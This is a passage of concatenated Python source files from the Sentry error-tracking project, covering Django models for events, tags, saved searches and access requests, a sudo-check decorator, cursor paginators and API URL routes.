                    project=self.project,
                    key__in=group_tags
                )
            )

            results = []
            for key in group_tags:
                try:
                    tag_key = tag_keys[key]
                except KeyError:
                    label = key.replace('_', ' ').title()
                else:
                    label = tag_key.get_label()

                results.append({
                    'key': key,
                    'label': label,
                })

            self._tag_cache = sorted(results, key=lambda x: x['label'])

        return self._tag_cache

    def error(self):
        return self.message
    error.short_description = _('error')

    def has_two_part_message(self):
        message = strip(self.message)
        return '\n' in message or len(message) > 100

    @property
    def title(self):
        culprit = strip(self.culprit)
        if culprit:
            return culprit
        return self.message

    @property
    def message_short(self):
        message = strip(self.message)
        if not message:
            message = '<unlabeled message>'
        else:
            message = truncatechars(message.splitlines()[0], 100)
        return message

    @property
    def organization(self):
        return self.project.organization

    @property
    def team(self):
        return self.project.team

    @property
    def checksum(self):
        warnings.warn('Group.checksum is no longer used', DeprecationWarning)
        return ''

    def get_email_subject(self):
        return '[%s] %s: %s' % (
            self.project.get_full_name().encode('utf-8'),
            six.text_type(self.get_level_display()).upper().encode('utf-8'),
            self.message_short.encode('utf-8')
        )






"""
sentry.models.event
~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import six
import warnings

from collections import OrderedDict
from django.db import models
from django.utils import timezone
from django.utils.translation import ugettext_lazy as _

from sentry.db.models import (
    BaseManager, BoundedBigIntegerField, BoundedIntegerField,
    Model, NodeField, sane_repr
)
from sentry.interfaces.base import get_interface
from sentry.utils.cache import memoize
from sentry.utils.safe import safe_execute
from sentry.utils.strings import truncatechars, strip


class Event(Model):
    """
    An individual event.
    """
    __core__ = False

    group_id = BoundedBigIntegerField(blank=True, null=True)
    event_id = models.CharField(max_length=32, null=True, db_column="message_id")
    project_id = BoundedBigIntegerField(blank=True, null=True)
    message = models.TextField()
    platform = models.CharField(max_length=64, null=True)
    datetime = models.DateTimeField(default=timezone.now, db_index=True)
    time_spent = BoundedIntegerField(null=True)
    data = NodeField(
        blank=True,
        null=True,
        ref_func=lambda x: x.project_id or x.project.id,
        ref_version=2,
    )

    objects = BaseManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_message'
        verbose_name = _('message')
        verbose_name_plural = _('messages')
        unique_together = (('project_id', 'event_id'),)
        index_together = (('group_id', 'datetime'),)

    __repr__ = sane_repr('project_id', 'group_id')

    # Implement a ForeignKey-like accessor for backwards compat
    def _set_group(self, group):
        self.group_id = group.id
        self._group_cache = group

    def _get_group(self):
        from sentry.models import Group
        if not hasattr(self, '_group_cache'):
            self._group_cache = Group.objects.get(id=self.group_id)
        return self._group_cache

    group = property(_get_group, _set_group)

    # Implement a ForeignKey-like accessor for backwards compat
    def _set_project(self, project):
        self.project_id = project.id
        self._project_cache = project

    def _get_project(self):
        from sentry.models import Project
        if not hasattr(self, '_project_cache'):
            self._project_cache = Project.objects.get(id=self.project_id)
        return self._project_cache

    project = property(_get_project, _set_project)

    def get_legacy_message(self):
        msg_interface = self.data.get('sentry.interfaces.Message', {
            'message': self.message,
        })
        return msg_interface.get('formatted', msg_interface['message'])

    def error(self):
        message = strip(self.get_legacy_message())
        if not message:
            message = '<unlabeled message>'
        else:
            message = truncatechars(message.splitlines()[0], 100)
        return message
    error.short_description = _('error')

    def has_two_part_message(self):
        message = strip(self.get_legacy_message())
        return '\n' in message or len(message) > 100

    @property
    def message_short(self):
        message = strip(self.get_legacy_message())
        if not message:
            message = '<unlabeled message>'
        else:
            message = truncatechars(message.splitlines()[0], 100)
        return message

    @property
    def team(self):
        return self.project.team

    @property
    def organization(self):
        return self.project.organization

    @property
    def version(self):
        return self.data.get('version', '5')

    @memoize
    def ip_address(self):
        user_data = self.data.get('sentry.interfaces.User', self.data.get('user'))
        if user_data:
            value = user_data.get('ip_address')
            if value:
                return value

        http_data = self.data.get('sentry.interfaces.Http', self.data.get('http'))
        if http_data and 'env' in http_data:
            value = http_data['env'].get('REMOTE_ADDR')
            if value:
                return value

        return None

    def get_interfaces(self):
        result = []
        for key, data in six.iteritems(self.data):
            try:
                cls = get_interface(key)
            except ValueError:
                continue

            value = safe_execute(cls.to_python, data,
                                 _with_transaction=False)
            if not value:
                continue

            result.append((key, value))

        return OrderedDict((k, v) for k, v in sorted(result, key=lambda x: x[1].get_score(), reverse=True))

    @memoize
    def interfaces(self):
        return self.get_interfaces()

    def get_tags(self, with_internal=True):
        try:
            return sorted(
                (t, v) for t, v in self.data.get('tags') or ()
                if with_internal or not t.startswith('sentry:')
            )
        except ValueError:
            # at one point Sentry allowed invalid tag sets such as (foo, bar)
            # vs ((tag, foo), (tag, bar))
            return []

    tags = property(get_tags)

    def get_tag(self, key):
        for t, v in (self.data.get('tags') or ()):
            if t == key:
                return v
        return None

    def as_dict(self):
        # We use a OrderedDict to keep elements ordered for a potential JSON serializer
        data = OrderedDict()
        data['id'] = self.event_id
        data['project'] = self.project_id
        data['release'] = self.get_tag('sentry:release')
        data['platform'] = self.platform
        data['culprit'] = self.group.culprit
        data['message'] = self.get_legacy_message()
        data['datetime'] = self.datetime
        data['time_spent'] = self.time_spent
        data['tags'] = self.get_tags()
        for k, v in sorted(six.iteritems(self.data)):
            data[k] = v
        return data

    @property
    def size(self):
        data_len = len(self.get_legacy_message())
        for value in six.itervalues(self.data):
            data_len += len(repr(value))
        return data_len

    # XXX(dcramer): compatibility with plugins
    def get_level_display(self):
        warnings.warn('Event.get_level_display is deprecated. Use Event.tags instead.',
                      DeprecationWarning)
        return self.group.get_level_display()

    @property
    def level(self):
        warnings.warn('Event.level is deprecated. Use Event.tags instead.',
                      DeprecationWarning)
        return self.group.level

    @property
    def logger(self):
        warnings.warn('Event.logger is deprecated. Use Event.tags instead.',
                      DeprecationWarning)
        return self.get_tag('logger')

    @property
    def site(self):
        warnings.warn('Event.site is deprecated. Use Event.tags instead.',
                      DeprecationWarning)
        return self.get_tag('site')

    @property
    def server_name(self):
        warnings.warn('Event.server_name is deprecated. Use Event.tags instead.')
        return self.get_tag('server_name')

    @property
    def culprit(self):
        warnings.warn('Event.culprit is deprecated. Use Group.culprit instead.')
        return self.group.culprit

    @property
    def checksum(self):
        warnings.warn('Event.checksum is no longer used', DeprecationWarning)
        return ''

    def get_email_subject(self):
        return '[%s] %s: %s' % (
            self.project.get_full_name().encode('utf-8'),
            six.text_type(self.get_tag('level')).upper().encode('utf-8'),
            self.message_short.encode('utf-8')
        )






from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.db.models import (
    Model, BoundedBigIntegerField, sane_repr
)


class EventTag(Model):
    __core__ = False

    project_id = BoundedBigIntegerField()
    group_id = BoundedBigIntegerField(null=True)
    event_id = BoundedBigIntegerField()
    # We want to keep this model lightweight, so lets use a pointer to
    # TagKey/TagValue
    key_id = BoundedBigIntegerField()
    value_id = BoundedBigIntegerField()
    # maintain a date column for easy removal
    date_added = models.DateTimeField(default=timezone.now)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_eventtag'
        unique_together = (('event_id', 'key_id', 'value_id'),)
        index_together = (
            ('project_id', 'key_id', 'value_id'),
            ('group_id', 'key_id', 'value_id'),
        )

    __repr__ = sane_repr('event_id', 'key_id', 'value_id')






from __future__ import absolute_import, print_function

from django.db import models
from django.utils import timezone

from sentry.db.models import FlexibleForeignKey, Model, sane_repr


class SavedSearch(Model):
    """
    A saved search query.
    """
    __core__ = True

    project = FlexibleForeignKey('sentry.Project')
    name = models.CharField(max_length=128)
    query = models.TextField()
    date_added = models.DateTimeField(default=timezone.now)
    is_default = models.BooleanField(default=False)

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_savedsearch'
        unique_together = (('project', 'name'),)

    __repr__ = sane_repr('project_id', 'name')


class SavedSearchUserDefault(Model):
    """
    Indicates the default saved search for a given user
    """
    __core__ = True

    savedsearch = FlexibleForeignKey('sentry.SavedSearch')
    project = FlexibleForeignKey('sentry.Project')
    user = FlexibleForeignKey('sentry.User')

    class Meta:
        unique_together = (('project', 'user'),)
        app_label = 'sentry'
        db_table = 'sentry_savedsearch_userdefault'






"""
sentry.models.organizationmember
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

from django.core.urlresolvers import reverse
from django.db.models import Q

from sentry import roles
from sentry.db.models import FlexibleForeignKey, Model, sane_repr
from sentry.utils.http import absolute_uri


class OrganizationAccessRequest(Model):
    __core__ = True

    team = FlexibleForeignKey('sentry.Team')
    member = FlexibleForeignKey('sentry.OrganizationMember')

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_organizationaccessrequest'
        unique_together = (('team', 'member'),)

    __repr__ = sane_repr('team_id', 'member_id')

    def send_request_email(self):
        from sentry.models import OrganizationMember
        from sentry.utils.email import MessageBuilder

        user = self.member.user
        email = user.email
        organization = self.team.organization

        context = {
            'email': email,
            'name': user.get_display_name(),
            'organization': organization,
            'team': self.team,
            'url': absolute_uri(reverse('sentry-organization-members', kwargs={
                'organization_slug': organization.slug,
            }) + '?ref=access-requests'),
        }

        msg = MessageBuilder(
            subject='Sentry Access Request',
            template='sentry/emails/request-team-access.txt',
            html_template='sentry/emails/request-team-access.html',
            type='team.access.request',
            context=context,
        )

        global_roles = [
            r.id for r in roles.with_scope('org:write')
            if r.is_global
        ]
        team_roles = [
            r.id for r in roles.with_scope('team:write')
        ]

        # find members which are either team scoped or have access to all teams
        member_list = OrganizationMember.objects.filter(
            Q(role__in=global_roles) |
            Q(teams=self.team, role__in=team_roles),
            organization=self.team.organization,
            user__isnull=False,
        ).select_related('user')

        msg.send_async([m.user.email for m in member_list])

    def send_approved_email(self):
        from sentry.utils.email import MessageBuilder

        user = self.member.user
        email = user.email
        organization = self.team.organization

        context = {
            'email': email,
            'name': user.get_display_name(),
            'organization': organization,
            'team': self.team,
        }

        msg = MessageBuilder(
            subject='Sentry Access Request',
            template='sentry/emails/access-approved.txt',
            html_template='sentry/emails/access-approved.html',
            type='team.access.approved',
            context=context,
        )

        msg.send_async([email])






"""
sentry.models.tagkey
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import, print_function

import re

from django.db import models
from django.utils.translation import ugettext_lazy as _

from sentry.constants import MAX_TAG_KEY_LENGTH, TAG_LABELS
from sentry.db.models import (
    Model, BoundedPositiveIntegerField, FlexibleForeignKey, sane_repr
)
from sentry.db.models.manager import BaseManager
from sentry.utils.cache import cache

# Valid pattern for tag key names
TAG_KEY_RE = re.compile(r'^[a-zA-Z0-9_\.:-]+$')

# These tags are special and are used in pairing with `sentry:{}`
# they should not be allowed to be set via data ingest due to abiguity
INTERNAL_TAG_KEYS = frozenset(('release', 'user', 'filename', 'function'))


# TODO(dcramer): pull in enum library
class TagKeyStatus(object):
    VISIBLE = 0
    PENDING_DELETION = 1
    DELETION_IN_PROGRESS = 2


class TagKeyManager(BaseManager):
    def _get_cache_key(self, project_id):
        return 'filterkey:all:%s' % project_id

    def all_keys(self, project):
        # TODO: cache invalidation via post_save/post_delete signals much like BaseManager
        key = self._get_cache_key(project.id)
        result = cache.get(key)
        if result is None:
            result = list(self.filter(
                project=project,
                status=TagKeyStatus.VISIBLE,
            ).order_by(
                '-values_seen'
            ).values_list('key', flat=True)[:20])
            cache.set(key, result, 60)
        return result


class TagKey(Model):
    """
    Stores references to available filters keys.
    """
    __core__ = False

    project = FlexibleForeignKey('sentry.Project')
    key = models.CharField(max_length=MAX_TAG_KEY_LENGTH)
    values_seen = BoundedPositiveIntegerField(default=0)
    label = models.CharField(max_length=64, null=True)
    status = BoundedPositiveIntegerField(choices=(
        (TagKeyStatus.VISIBLE, _('Visible')),
        (TagKeyStatus.PENDING_DELETION, _('Pending Deletion')),
        (TagKeyStatus.DELETION_IN_PROGRESS, _('Deletion in Progress')),
    ), default=TagKeyStatus.VISIBLE)

    objects = TagKeyManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_filterkey'
        unique_together = (('project', 'key'),)

    __repr__ = sane_repr('project_id', 'key')

    @classmethod
    def is_valid_key(cls, key):
        return bool(TAG_KEY_RE.match(key))

    @classmethod
    def is_reserved_key(cls, key):
        return key in INTERNAL_TAG_KEYS

    @classmethod
    def get_standardized_key(cls, key):
        if key.startswith('sentry:'):
            return key.split('sentry:', 1)[-1]
        return key

    def get_label(self):
        return self.label \
            or TAG_LABELS.get(self.key) \
            or self.key.replace('_', ' ').title()

    def get_audit_log_data(self):
        return {
            'key': self.key,
        }






"""
sentry.models.groupemailthread
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2015 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

from django.db import models
from django.utils import timezone

from sentry.db.models import (
    Model, FlexibleForeignKey, BaseManager, sane_repr,
)


class GroupEmailThread(Model):
    """
    Keep track of the original Message-Id that was sent
    unique per email destination and Group object.This allows
    the tracking of proper In-Reply-To and References headers
    for email threading.
    """
    __core__ = False

    email = models.EmailField()
    project = FlexibleForeignKey('sentry.Project', related_name="groupemail_set")
    group = FlexibleForeignKey('sentry.Group', related_name="groupemail_set")
    msgid = models.CharField(max_length=100)
    date = models.DateTimeField(default=timezone.now, db_index=True)

    objects = BaseManager()

    class Meta:
        app_label = 'sentry'
        db_table = 'sentry_groupemailthread'
        unique_together = (
            ('email', 'group'),
            ('email', 'msgid'),
        )

    __repr__ = sane_repr('email', 'group_id', 'msgid')






from __future__ import absolute_import

from rest_framework.exceptions import APIException


class ResourceDoesNotExist(APIException):
    status_code = 404






from __future__ import absolute_import

import json

from django.http import HttpResponse
from functools import wraps

from sentry.models import ApiKey, ApiToken


def is_considered_sudo(request):
    return request.is_sudo() or \
        isinstance(request.auth, ApiKey) or \
        isinstance(request.auth, ApiToken)


def sudo_required(func):
    @wraps(func)
    def wrapped(self, request, *args, **kwargs):
        # If we are already authenticated through an API key we do not
        # care about the sudo flag.
        if not is_considered_sudo(request):
            # TODO(dcramer): support some kind of auth flow to allow this
            # externally
            data = {
                "error": "Account verification required.",
                "sudoRequired": True,
                "username": request.user.username,
            }
            return HttpResponse(json.dumps(data), status=401)
        return func(self, request, *args, **kwargs)
    return wrapped






"""
sentry.api.paginator
~~~~~~~~~~~~~~~~~~~~

:copyright: (c) 2010-2014 by the Sentry Team, see AUTHORS for more details.
:license: BSD, see LICENSE for more details.
"""
from __future__ import absolute_import

import math

from datetime import datetime
from django.db import connections
from django.utils import timezone

from sentry.utils.cursors import build_cursor, Cursor, CursorResult

quote_name = connections['default'].ops.quote_name


class BasePaginator(object):
    def __init__(self, queryset, order_by):
        if order_by.startswith('-'):
            self.key, self.desc = order_by[1:], True
        else:
            self.key, self.desc = order_by, False
        self.queryset = queryset

    def _build_queryset(self, value, is_prev):
        queryset = self.queryset

        # "asc" controls whether or not we need to change the ORDER BY to
        # ascending.  If we're sorting by DESC but we're using a previous
        # page cursor, we'll change the ordering to ASC and reverse the
        # list below (this is so we know how to get the before/after post).
        # If we're sorting ASC _AND_ we're not using a previous page cursor,
        # then we'll need to resume using ASC.
        asc = (self.desc and is_prev) or not (self.desc or is_prev)

        # We need to reverse the ORDER BY if we're using a cursor for a
        # previous page so we know exactly where we ended last page.  The
        # results will get reversed back to the requested order below.
        if self.key in queryset.query.order_by:
            if not asc:
                index = queryset.query.order_by.index(self.key)
                queryset.query.order_by[index] = '-%s' % (queryset.query.order_by[index])
        elif ('-%s' % self.key) in queryset.query.order_by:
            if asc:
                index = queryset.query.order_by.index('-%s' % (self.key))
                queryset.query.order_by[index] = queryset.query.order_by[index][1:]
        else:
            if asc:
                queryset = queryset.order_by(self.key)
            else:
                queryset = queryset.order_by('-%s' % self.key)

        if value:
            if self.key in queryset.query.extra:
                col_query, col_params = queryset.query.extra[self.key]
                col_params = col_params[:]
            else:
                col_query, col_params = quote_name(self.key), []
            col_params.append(value)

            if asc:
                queryset = queryset.extra(
                    where=['%s.%s >= %%s' % (queryset.model._meta.db_table, col_query,)],
                    params=col_params,
                )
            else:
                queryset = queryset.extra(
                    where=['%s.%s <= %%s' % (queryset.model._meta.db_table, col_query,)],
                    params=col_params,
                )

        return queryset

    def get_item_key(self, item):
        raise NotImplementedError

    def value_from_cursor(self, cursor):
        raise NotImplementedError

    def get_result(self, limit=100, cursor=None):
        # cursors are:
        #   (identifier(integer), row offset, is_prev)
        if cursor is None:
            cursor = Cursor(0, 0, 0)

        if cursor.value:
            cursor_value = self.value_from_cursor(cursor)
        else:
            cursor_value = 0

        queryset = self._build_queryset(cursor_value, cursor.is_prev)

        # TODO(dcramer): this does not yet work correctly for ``is_prev`` when
        # the key is not unique
        offset = cursor.offset
        if cursor.is_prev:
            offset += 1
        stop = offset + limit + 1
        results = list(queryset[offset:stop])
        if cursor.is_prev:
            results.reverse()

        return build_cursor(
            results=results,
            limit=limit,
            cursor=cursor,
            key=self.get_item_key,
        )


class Paginator(BasePaginator):
    def get_item_key(self, item):
        value = getattr(item, self.key)
        if self.desc:
            return math.ceil(value)
        return math.floor(value)

    def value_from_cursor(self, cursor):
        return cursor.value


class DateTimePaginator(BasePaginator):
    multiplier = 1000

    def get_item_key(self, item):
        value = getattr(item, self.key)
        value = float(value.strftime('%s.%f')) * self.multiplier
        if self.desc:
            return math.ceil(value)
        return math.floor(value)

    def value_from_cursor(self, cursor):
        return datetime.fromtimestamp(
            float(cursor.value) / self.multiplier
        ).replace(tzinfo=timezone.utc)


# TODO(dcramer): previous cursors are too complex at the moment for many things
# and are only useful for polling situations. The OffsetPaginator ignores them
# entirely and uses standard paging
class OffsetPaginator(BasePaginator):
    def get_result(self, limit=100, cursor=None):
        # offset is page #
        # value is page limit
        if cursor is None:
            cursor = Cursor(0, 0, 0)

        queryset = self.queryset
        if self.desc:
            queryset = queryset.order_by('-{}'.format(self.key))
        else:
            queryset = queryset.order_by(self.key)

        page = cursor.offset
        offset = cursor.offset * cursor.value
        stop = offset + (cursor.value or limit) + 1

        results = list(queryset[offset:stop])
        if cursor.value != limit:
            results = results[-(limit + 1):]

        next_cursor = Cursor(limit, page + 1, False, len(results) > limit)
        prev_cursor = Cursor(limit, page - 1, True, page > 0)

        return CursorResult(
            results=results[:limit],
            next=next_cursor,
            prev=prev_cursor,
        )






from __future__ import absolute_import, print_function

from django.conf.urls import include, patterns, url

from .endpoints.api_tokens import ApiTokensEndpoint
from .endpoints.auth_index import AuthIndexEndpoint
from .endpoints.broadcast_index import BroadcastIndexEndpoint
from .endpoints.catchall import CatchallEndpoint
from .endpoints.event_details import EventDetailsEndpoint
from .endpoints.group_details import GroupDetailsEndpoint
from .endpoints.group_environment_details import GroupEnvironmentDetailsEndpoint
from .endpoints.group_events import GroupEventsEndpoint
from .endpoints.group_events_latest import GroupEventsLatestEndpoint
from .endpoints.group_events_oldest import GroupEventsOldestEndpoint
from .endpoints.group_hashes import GroupHashesEndpoint
from .endpoints.group_notes import GroupNotesEndpoint
from .endpoints.group_notes_details import GroupNotesDetailsEndpoint
from .endpoints.group_participants import GroupParticipantsEndpoint
from .endpoints.group_stats import GroupStatsEndpoint
from .endpoints.group_tags import GroupTagsEndpoint
from .endpoints.group_tagkey_details import GroupTagKeyDetailsEndpoint
from .endpoints.group_tagkey_values import GroupTagKeyValuesEndpoint
from .endpoints.group_user_reports import GroupUserReportsEndpoint
from .endpoints.index import IndexEndpoint
from .endpoints.internal_stats import InternalStatsEndpoint
from .endpoints.legacy_project_redirect import LegacyProjectRedirectEndpoint
from .endpoints.organization_access_request_details import OrganizationAccessRequestDetailsEndpoint
from .endpoints.organization_activity import OrganizationActivityEndpoint
from .endpoints.organization_auditlogs import OrganizationAuditLogsEndpoint
from .endpoints.organization_details import OrganizationDetailsEndpoint
from .endpoints.organization_shortid import ShortIdLookupEndpoint
from .endpoints.organization_slugs import SlugsUpdateEndpoint
from .endpoints.organization_issues_new import OrganizationIssuesNewEndpoint
from .endpoints.organization_member_details import OrganizationMemberDetailsEndpoint
from .endpoints.organization_member_index import OrganizationMemberIndexEndpoint
from .endpoints.organization_member_issues_assigned import OrganizationMemberIssuesAssignedEndpoint
from .endpoints.organization_member_issues_bookmarked import OrganizationMemberIssuesBookmarkedEndpoint
from .endpoints.organization_member_issues_viewed import OrganizationMemberIssuesViewedEndpoint
from .endpoints.organization_member_team_details import OrganizationMemberTeamDetailsEndpoint
from .endpoints.organization_onboarding_tasks import OrganizationOnboardingTaskEndpoint
from .endpoints.organization_index import OrganizationIndexEndpoint
from .endpoints.organization_projects import OrganizationProjectsEndpoint
from .endpoints.organization_stats import OrganizationStatsEndpoint
from .endpoints.organization_teams import OrganizationTeamsEndpoint
from .endpoints.project_details import ProjectDetailsEndpoint
from .endpoints.project_docs import ProjectDocsEndpoint
from .endpoints.project_docs_platform import ProjectDocsPlatformEndpoint
from .endpoints.project_environments import ProjectEnvironmentsEndpoint
from .endpoints.project_events import ProjectEventsEndpoint
from .endpoints.project_event_details import ProjectEventDetailsEndpoint
from .endpoints.project_group_index import ProjectGroupIndexEndpoint
from .endpoints.project_group_stats import ProjectGroupStatsEndpoint
from .endpoints.project_index import ProjectIndexEndpoint
from .endpoints.project_keys import ProjectKeysEndpoint
from .endpoints.project_key_details import ProjectKeyDetailsEndpoint
from .endpoints.project_member_index import ProjectMemberIndexEndpoint
from .endpoints.project_releases import ProjectReleasesEndpoint
from .endpoints.project_rules import ProjectRulesEndpoint
from .endpoints.project_rule_details import ProjectRuleDetailsEndpoint
from .endpoints.project_searches import ProjectSearchesEndpoint
from .endpoints.project_search_details import ProjectSearchDetailsEndpoint
from .endpoints.project_stats import ProjectStatsEndpoint
from .endpoints.project_tags import ProjectTagsEndpoint
from .endpoints.project_tagkey_details import ProjectTagKeyDetailsEndpoint
from .endpoints.project_tagkey_values import ProjectTagKeyValuesEndpoint
from .endpoints.project_users import ProjectUsersEndpoint
from .endpoints.project_user_reports import ProjectUserReportsEndpoint
from .endpoints.release_details import ReleaseDetailsEndpoint
from .endpoints.release_files import ReleaseFilesEndpoint
from .endpoints.release_file_details import ReleaseFileDetailsEndpoint
from .endpoints.dsym_files import DSymFilesEndpoint, GlobalDSymFilesEndpoint, \
    UnknownDSymFilesEndpoint, UnknownGlobalDSymFilesEndpoint
from .endpoints.shared_group_details import SharedGroupDetailsEndpoint
from .endpoints.system_health import SystemHealthEndpoint
from .endpoints.system_options import SystemOptionsEndpoint
from .endpoints.team_details import TeamDetailsEndpoint
from .endpoints.team_groups_new import TeamGroupsNewEndpoint
from .endpoints.team_groups_trending import TeamGroupsTrendingEndpoint
from .endpoints.team_members import TeamMembersEndpoint
from .endpoints.team_project_index import TeamProjectIndexEndpoint
from .endpoints.team_stats import TeamStatsEndpoint
from .endpoints.user_identity_details import UserIdentityDetailsEndpoint
from .endpoints.user_index import UserIndexEndpoint
from .endpoints.user_details import UserDetailsEndpoint
from .endpoints.useravatar import UserAvatarEndpoint
from .endpoints.user_organizations import UserOrganizationsEndpoint


urlpatterns = patterns(
    '',

    # Api Tokens
    url(r'^api-tokens/$',
        ApiTokensEndpoint.as_view(),
        name='sentry-api-0-api-tokens'),

    # Auth
    url(r'^auth/$',
        AuthIndexEndpoint.as_view(),
        name='sentry-api-0-auth'),

    # Broadcasts
    url(r'^broadcasts/$',
        BroadcastIndexEndpoint.as_view(),
        name='sentry-api-0-broadcast-index'),

    # Users
    url(r'^users/$',
        UserIndexEndpoint.as_view(),
        name='sentry-api-0-user-index'),
    url(r'^users/(?P<user_id>[^\/]+)/$',
        UserDetailsEndpoint.as_view(),
        name='sentry-api-0-user-details'),
    url(r'^users/(?P<user_id>[^\/]+)/avatar/$',
        UserAvatarEndpoint.as_view(),
        name='sentry-api-0-user-avatar'),
    url(r'^users/(?P<user_id>[^\/]+)/identities/(?P<identity_id>[^\/]+)/$',
        UserIdentityDetailsEndpoint.as_view(),
        name='sentry-api-0-user-identity-details'),
    url(r'^users/(?P<user_id>[^\/]+)/organizations/$',
        UserOrganizationsEndpoint.as_view(),
        name='sentry-api-0-user-organizations'),

    # Organizations
    url(r'^organizations/$',
        OrganizationIndexEndpoint.as_view(),
        name='sentry-api-0-organizations'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/$',
        OrganizationDetailsEndpoint.as_view(),
        name='sentry-api-0-organization-details'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/shortids/(?P<short_id>[^\/]+)/$',
        ShortIdLookupEndpoint.as_view(),
        name='sentry-api-0-short-id-lookup'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/slugs/$',
        SlugsUpdateEndpoint.as_view(),
        name='sentry-api-0-short-ids-update'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/access-requests/(?P<request_id>\d+)/$',
        OrganizationAccessRequestDetailsEndpoint.as_view(),
        name='sentry-api-0-organization-access-request-details'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/activity/$',
        OrganizationActivityEndpoint.as_view(),
        name='sentry-api-0-organization-activity'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/audit-logs/$',
        OrganizationAuditLogsEndpoint.as_view(),
        name='sentry-api-0-organization-audit-logs'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/issues/new/$',
        OrganizationIssuesNewEndpoint.as_view(),
        name='sentry-api-0-organization-issues-new'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/members/$',
        OrganizationMemberIndexEndpoint.as_view(),
        name='sentry-api-0-organization-member-index'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/members/(?P<member_id>[^\/]+)/$',
        OrganizationMemberDetailsEndpoint.as_view(),
        name='sentry-api-0-organization-member-details'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/members/(?P<member_id>[^\/]+)/issues/assigned/$',
        OrganizationMemberIssuesAssignedEndpoint.as_view(),
        name='sentry-api-0-organization-member-issues-assigned'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/members/(?P<member_id>[^\/]+)/issues/bookmarked/$',
        OrganizationMemberIssuesBookmarkedEndpoint.as_view(),
        name='sentry-api-0-organization-member-issues-bookmarked'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/members/(?P<member_id>[^\/]+)/issues/viewed/$',
        OrganizationMemberIssuesViewedEndpoint.as_view(),
        name='sentry-api-0-organization-member-issues-viewed'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/members/(?P<member_id>[^\/]+)/teams/(?P<team_slug>[^\/]+)/$',
        OrganizationMemberTeamDetailsEndpoint.as_view(),
        name='sentry-api-0-organization-member-team-details'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/projects/$',
        OrganizationProjectsEndpoint.as_view(),
        name='sentry-api-0-organization-projects'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/stats/$',
        OrganizationStatsEndpoint.as_view(),
        name='sentry-api-0-organization-stats'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/teams/$',
        OrganizationTeamsEndpoint.as_view(),
        name='sentry-api-0-organization-teams'),
    url(r'^organizations/(?P<organization_slug>[^\/]+)/onboarding-tasks/$',
        OrganizationOnboardingTaskEndpoint.as_view(),
        name='sentry-api-0-organization-onboardingtasks'),

    # Teams
    url(r'^teams/(?P<organization_slug>[^\/]+)/(?P<team_slug>[^\/]+)/$',
        TeamDetailsEndpoint.as_view(),
        name='sentry-api-0-team-details'),
    url(r'^teams/(?P<organization_slug>[^\/]+)/(?P<team_slug>[^\/]+)/(?:issues|groups)/new/$',
        TeamGroupsNewEndpoint.as_view(),
        name='sentry-api-0-team-groups-new'),
    url(r'^teams/(?P<organization_slug>[^\/]+)/(?P<team_slug>[^\/]+)/(?:issues|groups)/trending/$',
        TeamGroupsTrendingEndpoint.as_view(),
        name='sentry-api-0-team-groups-trending'),
    url(r'^teams/(?P<organization_slug>[^\/]+)/(?P<team_slug>[^\/]+)/members/$',
        TeamMembersEndpoint.as_view(),
        name='sentry-api-0-team-members'),
    url(r'^teams/(?P<organization_slug>[^\/]+)/(?P<team_slug>[^\/]+)/projects/$',
        TeamProjectIndexEndpoint.as_view(),
        name='sentry-api-0-team-project-index'),
    url(r'^teams/(?P<organization_slug>[^\/]+)/(?P<team_slug>[^\/]+)/stats/$',
        TeamStatsEndpoint.as_view(),
        name='sentry-api-0-team-stats'),

    # Handles redirecting project_id => org_slug/project_slug
    # TODO(dcramer): remove this after a reasonable period of time
    url(r'^projects/(?P<project_id>\d+)/(?P<path>(?:groups|releases|stats|tags)/.*)$',
        LegacyProjectRedirectEndpoint.as_view()),

    # Projects
    url(r'^projects/$',
        ProjectIndexEndpoint.as_view(),
        name='sentry-api-0-projects'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/$',
        ProjectDetailsEndpoint.as_view(),
        name='sentry-api-0-project-details'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/docs/$',
        ProjectDocsEndpoint.as_view(),
        name='sentry-api-0-project-docs'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/docs/(?P<platform>[\w-]+)/$',
        ProjectDocsPlatformEndpoint.as_view(),
        name='sentry-api-0-project-docs-platform'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/environments/$',
        ProjectEnvironmentsEndpoint.as_view(),
        name='sentry-api-0-project-environments'),
    url(r'^projects/(?P<organization_slug>[^\/]+)/(?P<project_slug>[^\/]+)/events/$',
        ProjectEventsEndpoint.as_view(),
        name='sentry-api-0-project-events'),
